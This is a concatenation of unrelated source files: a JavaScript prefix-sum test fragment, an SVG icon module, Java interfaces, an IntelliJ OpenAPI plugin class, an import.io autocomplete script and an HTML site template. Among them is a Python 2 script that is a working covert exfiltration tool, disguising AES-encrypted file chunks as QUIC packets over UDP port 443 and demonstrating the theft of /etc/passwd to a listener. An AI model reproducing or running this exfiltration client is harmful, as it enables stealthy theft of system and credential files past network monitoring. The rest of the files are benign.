assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 3);
// [1, 1, 0, 1, 1]
psc.setValue(1, 1);
psc.setValue(3, 1);
psc.setValue(4, 1);
assert.strictEqual(psc.getTotalSum(), 4);
assert.strictEqual(psc.getPrefixSum(0), 1);
assert.strictEqual(psc.getPrefixSum(1), 2);
assert.strictEqual(psc.getPrefixSum(2), 2);
assert.strictEqual(psc.getPrefixSum(3), 3);
assert.strictEqual(psc.getPrefixSum(4), 4);
indexOfResult = psc.getIndexOf(0);
assert.strictEqual(indexOfResult.index, 0);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(1);
assert.strictEqual(indexOfResult.index, 1);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(2);
assert.strictEqual(indexOfResult.index, 3);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(3);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 0);
indexOfResult = psc.getIndexOf(4);
assert.strictEqual(indexOfResult.index, 4);
assert.strictEqual(indexOfResult.remainder, 1);
});
});
|
"use strict";
Object.defineProperty(exports, "__esModule", {
value: true
});
var androidUnlock = exports.androidUnlock = { "viewBox": "0 0 512 512", "children": [{ "name": "path", "attribs": { "d": "M376,186h-20v-40c0-55-45-100-100-100S156,91,156,146h37.998c0-34.004,28.003-62.002,62.002-62.002\r\n\tc34.004,0,62.002,27.998,62.002,62.002H318v40H136c-22.002,0-40,17.998-40,40v200c0,22.002,17.998,40,40,40h240\r\n\tc22.002,0,40-17.998,40-40V226C416,203.998,398.002,186,376,186z M256,368c-22.002,0-40-17.998-40-40s17.998-40,40-40\r\n\ts40,17.998,40,40S278.002,368,256,368z" }, "children": [] }] }; |
package com.jbsc.service.iface;
import com.jbsc.domain.Company;
public interface CompanyService {
Company saveCompany(Company co);
Company loadCompanyById(Integer id);
Company loadCompanyByContactId(Integer id);
}
|
package org.zalando.intellij.swagger.documentation.openapi;
import com.intellij.openapi.components.ServiceManager;
import com.intellij.openapi.project.Project;
import com.intellij.openapi.vfs.VirtualFile;
import com.intellij.psi.PsiElement;
import com.intellij.psi.PsiFile;
import java.util.Optional;
import java.util.stream.Stream;
import org.jetbrains.annotations.Nullable;
import org.zalando.intellij.swagger.documentation.ApiDocumentProvider;
import org.zalando.intellij.swagger.file.OpenApiFileType;
import org.zalando.intellij.swagger.index.openapi.OpenApiIndexService;
import org.zalando.intellij.swagger.traversal.path.openapi.PathResolver;
import org.zalando.intellij.swagger.traversal.path.openapi.PathResolverFactory;
public class OpenApiDocumentationProvider extends ApiDocumentProvider {
@Nullable
@Override
public String getQuickNavigateInfo(
final PsiElement targetElement, final PsiElement originalElement) {
Optional<PsiFile> psiFile =
Optional.ofNullable(targetElement).map(PsiElement::getContainingFile);
final Optional<VirtualFile> maybeVirtualFile = psiFile.map(PsiFile::getVirtualFile);
final Optional<Project> maybeProject = psiFile.map(PsiFile::getProject);
return maybeVirtualFile
.flatMap(
virtualFile -> {
final Project project = maybeProject.get();
final Optional<OpenApiFileType> maybeFileType =
ServiceManager.getService(OpenApiIndexService.class)
.getFileType(project, virtualFile);
return maybeFileType.map(
openApiFileType -> {
final PathResolver pathResolver =
PathResolverFactory.fromOpenApiFileType(openApiFileType);
if (pathResolver.childOfSchema(targetElement)) {
return handleSchemaReference(targetElement, originalElement);
} else if (pathResolver.childOfResponse(targetElement)) {
return handleResponseReference(targetElement);
} else if (pathResolver.childOfParameters(targetElement)) {
return handleParameterReference(targetElement);
} else if (pathResolver.childOfExample(targetElement)) {
return handleExampleReference(targetElement);
} else if (pathResolver.childOfRequestBody(targetElement)) {
return handleRequestBodyReference(targetElement);
} else if (pathResolver.childOfHeader(targetElement)) {
return handleHeaderReference(targetElement);
} else if (pathResolver.childOfLink(targetElement)) {
return handleLinkReference(targetElement);
}
return null;
});
})
.orElse(null);
}
private String handleLinkReference(final PsiElement targetElement) {
final Optional<String> description = getUnquotedFieldValue(targetElement, "description");
return toHtml(Stream.of(description));
}
private String handleHeaderReference(final PsiElement targetElement) {
final Optional<String> description = getUnquotedFieldValue(targetElement, "description");
return toHtml(Stream.of(description));
}
private String handleRequestBodyReference(final PsiElement targetElement) {
final Optional<String> description = getUnquotedFieldValue(targetElement, "description");
return toHtml(Stream.of(description));
}
private String handleExampleReference(final PsiElement targetElement) {
final Optional<String> summary = getUnquotedFieldValue(targetElement, "summary");
final Optional<String> description = getUnquotedFieldValue(targetElement, "description");
return toHtml(Stream.of(summary, description));
}
}
|
/* this is all example code which should be changed; see query.js for how it works */
authUrl = "http://importio-signedserver.herokuapp.com/";
reEx.push(/\/_source$/);
/*
//change doReady() to auto-query on document ready
var doReadyOrg = doReady;
doReady = function() {
doReadyOrg();
doQuery();//query on ready
}
*/
//change doReady() to add autocomplete-related events
// http://jqueryui.com/autocomplete/ http://api.jqueryui.com/autocomplete/
var acField;//autocomplete data field
var acSel;//autocomplete input selector
var acsSel = "#autocomplete-spin";//autocomplete spinner selector
var cache = {};//autocomplete cache
var termCur = "";//autocomplete current term
var doReadyOrg = doReady;
doReady = function() {
doReadyOrg();
$(acSel)
.focus()
.bind("keydown", function(event) {
// http://api.jqueryui.com/jQuery.ui.keyCode/
switch(event.keyCode) {
//don't fire autocomplete on certain keys
case $.ui.keyCode.LEFT:
case $.ui.keyCode.RIGHT:
event.stopImmediatePropagation();
return true;
break;
//submit form on enter
case $.ui.keyCode.ENTER:
doQuery();
$(this).autocomplete("close");
break;
}
})
.autocomplete({
minLength: 3,
source: function(request, response) {
var term = request.term.replace(/[^\w\s]/gi, '').trim().toUpperCase();//replace all but "words" [A-Za-z0-9_] & whitespaces
if (term in cache) {
doneCompleteCallbackStop();
response(cache[term]);
return;
}
termCur = term;
if (spinOpts) {
$(acsSel).spin(spinOpts);
}
cache[term] = [];
doComplete(term);
response(cache[term]);//send empty for now
}
});
};
function doComplete(term) {
doQueryMy();
var qObjComplete = jQuery.extend({}, qObj);//copy to new obj
qObjComplete.maxPages = 1;
importio.query(qObjComplete,
{ "data": function(data) {
dataCompleteCallback(data, term);
},
"done": function(data) {
doneCompleteCallback(data, term);
}
}
);
}
var dataCompleteCallback = function(data, term) {
console.log("Data received", data);
for (var i = 0; i < data.length; i++) {
var d = data[i];
var c = d.data[acField];
if (typeof filterComplete === 'function') {
c = filterComplete(c);
}
c = c.trim();
if (!c) {
continue;
}
cache[term].push(c);
}
}
var doneCompleteCallback = function(data, term) {
console.log("Done, all data:", data);
console.log("cache:", cache);
// http://stackoverflow.com/questions/16747798/delete-duplicate-elements-from-an-array
cache[term] = cache[term].filter(
function(elem, index, self) {
return index == self.indexOf(elem);
});
if (termCur != term) {
return;
}
doneCompleteCallbackStop();
$(acSel).trigger("keydown");
}
var doneCompleteCallbackStop = function() {
termCur = "";
if (spinOpts) {
$(acsSel).spin(false);
}
}
/* Query for tile Store Locators
*/
fFields.push({id: "postcode", html: '<input id="postcode" type="text" value="EC2M 4TP" />'});
fFields.push({id: "autocomplete-spin", html: '<span id="autocomplete-spin"></span>'});
fFields.push({id: "submit", html: '<button id="submit" onclick="doQuery();">Query</button>'});
acField = "address";
var filterComplete = function(val) {
if (val.indexOf(", ") == -1) {
return "";
}
return val.split(", ").pop();
}
acSel = "#postcode";
qObj.connectorGuids = [
"8f628f9d-b564-4888-bc99-1fb54b2df7df",
"7290b98f-5bc0-4055-a5df-d7639382c9c3",
"14d71ff7-b58f-4b37-bb5b-e2475bdb6eb9",
"9c99f396-2b8c-41e0-9799-38b039fe19cc",
"a0087993-5673-4d62-a5ae-62c67c1bcc40"
];
var doQueryMy = function() {
qObj.input = {
"postcode": $("#postcode").val()
};
}
/* Here's some other example code for a completely different API
fFields.push({id: "title", html: '<input id="title" type="text" value="harry potter" />'});
fFields.push({id: "autocomplete-spin", html: '<span id="autocomplete-spin"></span>'});
fFields.push({id: "submit", html: '<button id="submit" onclick="doQuery();">Query</button>'});
acField = "title";
acSel = "#title";
filters["image"] = function(val, row) {
return '<a href="' + val + '" target="_blank">' + val + '</a>';
}
qObj.connectorGuids = [
"ABC"
];
var doQueryMy = function() {
qObj.input = {
"search": $("#title").val()
};
}
*/
/* Here's some other example code for a completely different API
colNames = ["ranking", "title", "artist", "album", "peak_pos", "last_pos", "weeks", "image", "spotify", "rdio", "video"];
filters["title"] = function(val, row) {
return "<b>" + val + "</b>";
}
filters["video"] = function(val, row) {
if (val.substring(0, 7) != "http://") {
return val;
}
return '<a href="' + val + '" target="_blank">' + val + '</a>';
}
doQuery = function() {
doQueryPre();
for (var page = 0; page < 10; page++) {
importio.query({
"connectorGuids": [
"XYZ"
],
"input": {
"webpage/url": "http://www.billboard.com/charts/hot-100?page=" + page
}
}, { "data": dataCallback, "done": doneCallback });
}
}
*/
|
import sys
import time
import socket
import struct
import random
import hashlib
import urllib2
from Crypto import Random
from Crypto.Cipher import AES
# from itertools import izip_longest
# Setting timeout so that we won't wait forever
timeout = 2
socket.setdefaulttimeout(timeout)
limit = 256*256*256*256 - 1
def md5(fname):
hash_md5 = hashlib.md5()
with open(fname, "rb") as f:
for chunk in iter(lambda: f.read(4096), b""):
hash_md5.update(chunk)
return hash_md5.hexdigest()
def chunkstring(s, n):
return [ s[i:i+n] for i in xrange(0, len(s), n) ]
class AESCipher(object):
def __init__(self, key):
self.bs = 32
self.key = hashlib.sha256(key.encode()).digest()
def encrypt(self, raw):
raw = self._pad(raw)
iv = Random.new().read(AES.block_size)
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return iv + cipher.encrypt(raw)
def decrypt(self, enc):
# enc = base64.b64decode(enc)
iv = enc[:AES.block_size]
cipher = AES.new(self.key, AES.MODE_CBC, iv)
return self._unpad(cipher.decrypt(enc[AES.block_size:])).decode('utf-8')
def _pad(self, s):
return s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs)
@staticmethod
def _unpad(s):
return s[:-ord(s[len(s)-1:])]
class QUICClient():
def __init__(self, host, key, port=443, max_size=4096):
# Params for all class
self.host = host
self.port = port
self.max_size = max_size - 60
self.AESDriver = AESCipher(key=key)
self.serv_addr = (host, port)
# Class Globals
self.max_packets = 255 # Limitation by QUIC itself.
self._genSeq() # QUIC Sequence is used to know that this is the same sequence,
# and it's a 20 byte long that is kept the same through out the
# session and is transfered hex encoded.
self.delay = 0.1
self.sock = None
if self._createSocket() is 1: # Creating a UDP socket object
sys.exit(1)
self.serv_addr = (self.host, self.port) # Creating socket addr format
def _genSeq(self):
self.raw_sequence = random.getrandbits(64)
parts = []
while self.raw_sequence:
parts.append(self.raw_sequence & limit)
self.raw_sequence >>= 32
self.sequence = struct.pack('<' + 'L'*len(parts), *parts)
# struct.unpack('<LL', '\xb1l\x1c\xb1\x11"\x10\xf4')
return 0
def _createSocket(self):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.sock = sock
return 0
except socket.error as e:
sys.stderr.write("[!]\tFailed to create a UDP socket.\n%s.\n" % e)
return 1
def _getQUICHeader(self, count):
if type(count) is not hex:
try:
count_id = chr(count)
except:
sys.stderr.write("Count must be int or hex.\n")
return 1
else:
count_id = count
if count > self.max_packets:
sys.stderr.write("[-]\tCount must be maximum of 255.\n")
return 1
header = "\x0c" # Public Flags
header += self.sequence # Adding CID
header += count_id # Packet Count
return header
def _getFileContent(self, file_path):
try:
f = open(file_path, 'rb')
data = f.read()
f.close()
sys.stdout.write("[+]\tFile '%s' was loaded for exfiltration.\n" % file_path)
return data
except IOError, e:
sys.stderr.write("[-]\tUnable to read file '%s'.\n%s.\n" % (file_path, e))
return 1
def sendFile(self, file_path):
# Get File content
data = self._getFileContent(file_path)
if data == 1:
return 1
# Check that the file is not too big.
if len(data) > (self.max_packets * self.max_size):
sys.stderr.write("[!]\tFile is too big for export.\n")
return 1
# If the file is not too big, start exfiltration
# Exfiltrate first packet
md5_sum = md5(file_path) # Get MD5 sum of file
packets_count = (len(data) / self.max_size)+1 # Total packets
first_packet = self._getQUICHeader(count=0) # Get header for first file
r_data = "%s;%s;%s" % (file_path, md5_sum, packets_count) # First header
r_data = self.AESDriver.encrypt(r_data) # Encrypt data
self.sock.sendto(first_packet + r_data, self.serv_addr) # Send the data
sys.stdout.write("[+]\tSent initiation packet.\n")
# encrypted_content = self.AESDriver.encrypt(data)
# Encrypt the Chunks
raw_dat = ""
chunks = []
while data:
raw_dat += data[:self.max_size]
enc_chunk = self.AESDriver.encrypt(data[:self.max_size])
print len(enc_chunk)
chunks.append(enc_chunk)
data = data[self.max_size:]
i = 1
for chunk in chunks:
this_data = self._getQUICHeader(count=i)
this_data += chunk
self.sock.sendto(this_data, self.serv_addr)
time.sleep(self.delay)
sys.stdout.write("[+]\tSent chunk %s/%s.\n" % (i, packets_count))
i += 1
sys.stdout.write("[+]\tFinished sending file '%s' to '%s:%s'.\n" % (file_path, self.host, self.port))
# self.sequence = struct.pack('<' + 'L'*len(parts), *parts)
return 0
def close(self):
time.sleep(0.1)
self.sock.close()
return 0
if __name__ == "__main__":
client = QUICClient(host='127.0.0.1', key="123", port=443) # Setup a server
a = struct.unpack('<LL', client.sequence) # Get CID used
a = (a[1] << 32) + a[0]
sys.stdout.write("[.]\tExfiltrating with CID: %s.\n" % a)
client.sendFile("/etc/passwd") # Exfil File
client.close() # Close
|
<!DOCTYPE html>
<!--[if IE 8]> <html class="ie ie8"> <![endif]-->
<!--[if IE 9]> <html class="ie ie9"> <![endif]-->
<!--[if gt IE 9]><!--> <html> <!--<![endif]-->
<head>
<meta charset="utf-8" />
<title>Smarty - Multipurpose + Admin</title>
<meta name="keywords" content="HTML5,CSS3,Template" />
<meta name="description" content="" />
<meta name="Author" content="Dorin Grigoras [www.stepofweb.com]" />
<!-- mobile settings -->
<meta name="viewport" content="width=device-width, maximum-scale=1, initial-scale=1, user-scalable=0" />
<!--[if IE]><meta http-equiv='X-UA-Compatible' content='IE=edge,chrome=1'><![endif]-->
<!-- WEB FONTS : use %7C instead of | (pipe) -->
<link href="https://fonts.googleapis.com/css?family=Open+Sans:300,400%7CRaleway:300,400,500,600,700%7CLato:300,400,400italic,600,700" rel="stylesheet" type="text/css" />
<!-- CORE CSS -->
<link href="assets/plugins/bootstrap/css/bootstrap.min.css" rel="stylesheet" type="text/css" />
<!-- THEME CSS -->
<link href="assets/css/essentials.css" rel="stylesheet" type="text/css" />
<link href="assets/css/layout.css" rel="stylesheet" type="text/css" />
<!-- PAGE LEVEL SCRIPTS -->
<link href="assets/css/header-1.css" rel="stylesheet" type="text/css" />
<link href="assets/css/color_scheme/green.css" rel="stylesheet" type="text/css" id="color_scheme" />
</head>
<!--
AVAILABLE BODY CLASSES:
smoothscroll = create a browser smooth scroll
enable-animation = enable WOW animations
bg-grey = grey background
grain-grey = grey grain background
grain-blue = blue grain background
grain-green = green grain background
grain-blue = blue grain background
grain-orange = orange grain background
grain-yellow = yellow grain background
boxed = boxed layout
pattern1 ... patern11 = pattern background
menu-vertical-hide = hidden, open on click
BACKGROUND IMAGE [together with .boxed class]
data-background="assets/images/boxed_background/1.jpg"
-->
<body class="smoothscroll enable-animation">
<!-- SLIDE TOP -->
<div id="slidetop">
<div class="container">
<div class="row">
<div class="col-md-4">
<h6><i class="icon-heart"></i> WHY SMARTY?</h6>
<p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Maecenas metus nulla, commodo a sodales sed, dignissim pretium nunc. Nam et lacus neque. Ut enim massa, sodales tempor convallis et, iaculis ac massa. </p>
</div>
<div class="col-md-4">
<h6><i class="icon-attachment"></i> RECENTLY VISITED</h6>
<ul class="list-unstyled">
<li><a href="#"><i class="fa fa-angle-right"></i> Consectetur adipiscing elit amet</a></li>
<li><a href="#"><i class="fa fa-angle-right"></i> This is a very long text, very very very very very very very very very very very very </a></li>
<li><a href="#"><i class="fa fa-angle-right"></i> Lorem ipsum dolor sit amet</a></li>
<li><a href="#"><i class="fa fa-angle-right"></i> Dolor sit amet,consectetur adipiscing elit amet</a></li>
<li><a href="#"><i class="fa fa-angle-right"></i> Consectetur adipiscing elit amet,consectetur adipiscing elit</a></li>
</ul>
</div>
<div class="col-md-4">
<h6><i class="icon-envelope"></i> CONTACT INFO</h6>
<ul class="list-unstyled">
<li><b>Address:</b> PO Box 21132, Here Weare St, <br /> Melbourne, Vivas 2355 Australia</li>
<li><b>Phone:</b> 1-800-565-2390</li>
<li><b>Email:</b> <a href="mailto:support@yourname.com">support@yourname.com</a></li>
</ul>
</div>
</div>
</div>
<a class="slidetop-toggle" href="#"><!-- toggle button --></a>
</div>
<!-- /SLIDE TOP -->
<!-- wrapper -->
<div id="wrapper">
<!--
AVAILABLE HEADER CLASSES
Default nav height: 96px
.header-md = 70px nav height
.header-sm = 60px nav height
.noborder = remove bottom border (only with transparent use)
.transparent = transparent header
.translucent = translucent header
.sticky = sticky header
.static = static header
.dark = dark header
.bottom = header on bottom
shadow-before-1 = shadow 1 header top
shadow-after-1 = shadow 1 header bottom
shadow-before-2 = shadow 2 header top
shadow-after-2 = shadow 2 header bottom
shadow-before-3 = shadow 3 header top
shadow-after-3 = shadow 3 header bottom
.clearfix = required for mobile menu, do not remove!
Example Usage: class="clearfix sticky header-sm transparent noborder"
-->
<div id="header" class="sticky dark clearfix">
<!-- TOP NAV -->
<header id="topNav">
<div class="container">
<!-- Mobile Menu Button -->
<button class="btn btn-mobile" data-toggle="collapse" data-target=".nav-main-collapse">
<i class="fa fa-bars"></i>
</button>
<!-- BUTTONS -->
<ul class="pull-right nav nav-pills nav-second-main">
<!-- SEARCH -->
<li class="search">
<a href="javascript:;">
<i class="fa fa-search"></i>
</a>
<div class="search-box">
<form action="page-search-result-1.html" method="get">
<div class="input-group">
<input type="text" name="src" placeholder="Search" class="form-control" />
<span class="input-group-btn">
<button class="btn btn-primary" type="submit">Search</button>
</span>
</div>
</form>
</div>
</li>
<!-- /SEARCH -->
<!-- QUICK SHOP CART -->
<li class="quick-cart">
<a href="#">
<span class="badge badge-aqua btn-xs badge-corner">2</span>
<i class="fa fa-shopping-cart"></i>
</a>
<div class="quick-cart-box">
<h4>Shop Cart</h4>
<div class="quick-cart-wrapper">
<a href="#"><!-- cart item -->
<img src="assets/images/demo/people/300x300/4-min.jpg" width="45" height="45" alt="" />
<h6><span>2x</span> RED BAG WITH HUGE POCKETS</h6>
<small>$37.21</small>
</a><!-- /cart item -->
<a href="#"><!-- cart item -->
<img src="assets/images/demo/people/300x300/5-min.jpg" width="45" height="45" alt="" />
<h6><span>2x</span> THIS IS A VERY LONG TEXT AND WILL BE TRUNCATED</h6>
<small>$17.18</small>
</a><!-- /cart item -->
<!-- cart no items example -->
<!--
<a class="text-center" href="#">
<h6>0 ITEMS ON YOUR CART</h6>
</a>
-->
</div>
<!-- quick cart footer -->
<div class="quick-cart-footer clearfix">
<a href="shop-cart.html" class="btn btn-primary btn-xs pull-right">VIEW CART</a>
<span class="pull-left"><strong>TOTAL:</strong> $54.39</span>
</div>
<!-- /quick cart footer -->
</div>
</li>
<!-- /QUICK SHOP CART -->
</ul>
<!-- /BUTTONS -->
<!-- Logo -->
<a class="logo pull-left" href="index.html">
<img src="assets/images/logo_light.png" alt="" />
</a>
<!--
Top Nav
AVAILABLE CLASSES:
submenu-dark = dark sub menu
-->
<div class="navbar-collapse pull-right nav-main-collapse collapse submenu-dark">
<nav class="nav-main">
<!--
NOTE
For a regular link, remove "dropdown" class from LI tag and "dropdown-toggle" class from the href.
Direct Link Example:
<li>
<a href="#">HOME</a>
</li>
-->
<ul id="topMain" class="nav nav-pills nav-main">
<li class="dropdown"><!-- HOME -->
<a class="dropdown-toggle" href="#">
HOME
</a>
<ul class="dropdown-menu">
<li class="dropdown">
<a class="dropdown-toggle" href="#">
HOME CORPORATE
</a>
<ul class="dropdown-menu">
<li><a href="index-corporate-1.html">CORPORATE LAYOUT 1</a></li>
<li><a href="index-corporate-2.html">CORPORATE LAYOUT 2</a></li>
<li><a href="index-corporate-3.html">CORPORATE LAYOUT 3</a></li>
<li><a href="index-corporate-4.html">CORPORATE LAYOUT 4</a></li>
<li><a href="index-corporate-5.html">CORPORATE LAYOUT 5</a></li>
<li><a href="index-corporate-6.html">CORPORATE LAYOUT 6</a></li>
<li><a href="index-corporate-7.html">CORPORATE LAYOUT 7</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
HOME PORTFOLIO
</a>
<ul class="dropdown-menu">
<li><a href="index-portfolio-1.html">PORTFOLIO LAYOUT 1</a></li>
<li><a href="index-portfolio-2.html">PORTFOLIO LAYOUT 2</a></li>
<li><a href="index-portfolio-masonry.html">PORTFOLIO MASONRY</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
HOME BLOG
</a>
<ul class="dropdown-menu">
<li><a href="index-blog-1.html">BLOG LAYOUT 1</a></li>
<li><a href="index-blog-2.html">BLOG LAYOUT 2</a></li>
<li><a href="index-blog-3.html">BLOG LAYOUT 3</a></li>
<li><a href="index-blog-4.html">BLOG LAYOUT 4</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
HOME SHOP
</a>
<ul class="dropdown-menu">
<li><a href="index-shop-1.html">SHOP LAYOUT 1</a></li>
<li><a href="index-shop-2.html">SHOP LAYOUT 2</a></li>
<li><a href="index-shop-3.html">SHOP LAYOUT 3</a></li>
<li><a href="index-shop-4.html">SHOP LAYOUT 4</a></li>
<li><a href="index-shop-5.html">SHOP LAYOUT 5</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
HOME MAGAZINE
</a>
<ul class="dropdown-menu">
<li><a href="index-magazine-1.html">MAGAZINE LAYOUT 1</a></li>
<li><a href="index-magazine-2.html">MAGAZINE LAYOUT 2</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
HOME LANDING PAGE
</a>
<ul class="dropdown-menu">
<li><a href="index-landing-1.html">LANDING PAGE LAYOUT 1</a></li>
<li><a href="index-landing-2.html">LANDING PAGE LAYOUT 2</a></li>
<li><a href="index-landing-3.html">LANDING PAGE LAYOUT 3</a></li>
<li><a href="index-landing-4.html">LANDING PAGE LAYOUT 4</a></li>
<li><a href="index-landing-5.html">LANDING PAGE LAYOUT 5</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
HOME FULLSCREEN
</a>
<ul class="dropdown-menu">
<li><a href="index-fullscreen-revolution.html">FULLSCREEN - REVOLUTION</a></li>
<li><a href="index-fullscreen-youtube.html">FULLSCREEN - YOUTUBE</a></li>
<li><a href="index-fullscreen-local-video.html">FULLSCREEN - LOCAL VIDEO</a></li>
<li><a href="index-fullscreen-image.html">FULLSCREEN - IMAGE</a></li>
<li><a href="index-fullscreen-txt-rotator.html">FULLSCREEN - TEXT ROTATOR</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
HOME ONE PAGE
</a>
<ul class="dropdown-menu">
<li><a href="index-onepage-default.html">ONE PAGE - DEFAULT</a></li>
<li><a href="index-onepage-revolution.html">ONE PAGE - REVOLUTION</a></li>
<li><a href="index-onepage-image.html">ONE PAGE - IMAGE</a></li>
<li><a href="index-onepage-parallax.html">ONE PAGE - PARALLAX</a></li>
<li><a href="index-onepage-youtube.html">ONE PAGE - YOUTUBE</a></li>
<li><a href="index-onepage-text-rotator.html">ONE PAGE - TEXT ROTATOR</a></li>
<li><a href="start.html#onepage"><span class="label label-success pull-right">new</span> MORE LAYOUTS</a></li>
</ul>
</li>
<li class="divider"></li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
HOME - THEMATICS <i class="fa fa-heart margin-left-10"></i>
</a>
<ul class="dropdown-menu">
<li><a href="index-thematics-restaurant.html">HOME - RESTAURANT</a></li>
<li><a href="index-thematics-education.html">HOME - EDUCATION</a></li>
<li><a href="index-thematics-construction.html">HOME - CONSTRUCTION</a></li>
<li><a href="index-thematics-medical.html">HOME - MEDICAL</a></li>
<li><a href="index-thematics-church.html">HOME - CHURCH</a></li>
<li><a href="index-thematics-fashion.html">HOME - FASHION</a></li>
<li><a href="index-thematics-wedding.html">HOME - WEDDING</a></li>
<li><a href="index-thematics-events.html">HOME - EVENTS</a></li>
<li><a href="http://www.stepofweb.com/propose-design.html" data-toggle="tooltip" data-placement="top" title="Do you need a specific home design? We can include it in the next update!" target="_blank"><span class="label label-danger pull-right">hot</span> PROPOSE THEMATIC</a></li>
</ul>
</li>
<li class="divider"></li>
<li><a href="start.html#newrevslider" data-toggle="tooltip" data-placement="top" title="32 More Revolution Slider V5"><span class="label label-danger pull-right">new</span> 32 MORE LAYOUTS</a></li>
<li class="divider"></li>
<li><a href="index-simple-revolution.html">HOME SIMPLE - REVOLUTION</a></li>
<li><a href="index-simple-layerslider.html">HOME SIMPLE - LAYERSLIDER</a></li>
<li><a href="index-simple-parallax.html">HOME SIMPLE - PARALLAX</a></li>
<li><a href="index-simple-youtube.html">HOME SIMPLE - YOUTUBE</a></li>
</ul>
</li>
<li class="dropdown"><!-- PAGES -->
<a class="dropdown-toggle" href="#">
PAGES
</a>
<ul class="dropdown-menu">
<li class="dropdown">
<a class="dropdown-toggle" href="#">
ABOUT
</a>
<ul class="dropdown-menu">
<li><a href="page-about-us-1.html">ABOUT US - LAYOUT 1</a></li>
<li><a href="page-about-us-2.html">ABOUT US - LAYOUT 2</a></li>
<li><a href="page-about-us-3.html">ABOUT US - LAYOUT 3</a></li>
<li><a href="page-about-us-4.html">ABOUT US - LAYOUT 4</a></li>
<li><a href="page-about-us-5.html">ABOUT US - LAYOUT 5</a></li>
<li><a href="page-about-me-1.html">ABOUT ME - LAYOUT 1</a></li>
<li><a href="page-about-me-2.html">ABOUT ME - LAYOUT 2</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
TEAM
</a>
<ul class="dropdown-menu">
<li><a href="page-team-1.html">TEAM - LAYOUT 1</a></li>
<li><a href="page-team-2.html">TEAM - LAYOUT 2</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
SERVICES
</a>
<ul class="dropdown-menu">
<li><a href="page-services-1.html">SERVICES - LAYOUT 1</a></li>
<li><a href="page-services-2.html">SERVICES - LAYOUT 2</a></li>
<li><a href="page-services-3.html">SERVICES - LAYOUT 3</a></li>
<li><a href="page-services-4.html">SERVICES - LAYOUT 4</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
FAQ
</a>
<ul class="dropdown-menu">
<li><a href="page-faq-1.html">FAQ - LAYOUT 1</a></li>
<li><a href="page-faq-2.html">FAQ - LAYOUT 2</a></li>
<li><a href="page-faq-3.html">FAQ - LAYOUT 3</a></li>
<li><a href="page-faq-4.html">FAQ - LAYOUT 4</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
CONTACT
</a>
<ul class="dropdown-menu">
<li><a href="page-contact-1.html">CONTACT - LAYOUT 1</a></li>
<li><a href="page-contact-2.html">CONTACT - LAYOUT 2</a></li>
<li><a href="page-contact-3.html">CONTACT - LAYOUT 3</a></li>
<li><a href="page-contact-4.html">CONTACT - LAYOUT 4</a></li>
<li><a href="page-contact-5.html">CONTACT - LAYOUT 5</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
ERROR
</a>
<ul class="dropdown-menu">
<li><a href="page-404-1.html">ERROR 404 - LAYOUT 1</a></li>
<li><a href="page-404-2.html">ERROR 404 - LAYOUT 2</a></li>
<li><a href="page-404-3.html">ERROR 404 - LAYOUT 3</a></li>
<li><a href="page-404-4.html">ERROR 404 - LAYOUT 4</a></li>
<li><a href="page-404-5.html">ERROR 404 - LAYOUT 5</a></li>
<li><a href="page-404-6.html">ERROR 404 - LAYOUT 6</a></li>
<li><a href="page-404-7.html">ERROR 404 - LAYOUT 7</a></li>
<li><a href="page-404-8.html">ERROR 404 - LAYOUT 8</a></li>
<li class="divider"></li>
<li><a href="page-500-1.html">ERROR 500 - LAYOUT 1</a></li>
<li><a href="page-500-2.html">ERROR 500 - LAYOUT 2</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
SIDEBAR
</a>
<ul class="dropdown-menu">
<li><a href="page-sidebar-left.html">SIDEBAR LEFT</a></li>
<li><a href="page-sidebar-right.html">SIDEBAR RIGHT</a></li>
<li><a href="page-sidebar-both.html">SIDEBAR BOTH</a></li>
<li><a href="page-sidebar-no.html">NO SIDEBAR</a></li>
<li class="divider"></li>
<li><a href="page-sidebar-dark-left.html">SIDEBAR LEFT - DARK</a></li>
<li><a href="page-sidebar-dark-right.html">SIDEBAR RIGHT - DARK</a></li>
<li><a href="page-sidebar-dark-both.html">SIDEBAR BOTH - DARK</a></li>
<li><a href="page-sidebar-dark-no.html">NO SIDEBAR - DARK</a></li>
</ul>
</li>
<li class="dropdown">
<a class="dropdown-toggle" href="#">
LOGIN/REGISTER
</a>
<ul class="dropdown-menu">
<li><a href="page-login-1.html">LOGIN - LAYOUT 1</a></li>
<li><a href="page-login-2.html">LOGIN - LAYOUT 2</a></li>
<li><a href="page-login-3.html">LOGIN - LAYOUT 3</a></li>
<li><a href="page-login-4.html">LOGIN - LAYOUT 4</a></li>
<li><a href="page-login-5.html">LOGIN - LAYOUT 5</a></li>
<li><a href="page-login-register-1.html">LOGIN + REGISTER 1</a></li>
<li><a href="page-login-register-2.html">LOGIN + REGISTER 2</a></li>
<li><a href="page-login-register-3.html">LOGIN + REGISTER 3</a></li>
<li><a href="page-register-1.html">REGISTER - LAYOUT 1</a></li>
<li><a href="page-register-2.html">REGISTER - LAYOUT 2</a></li>
</ul>
</li>
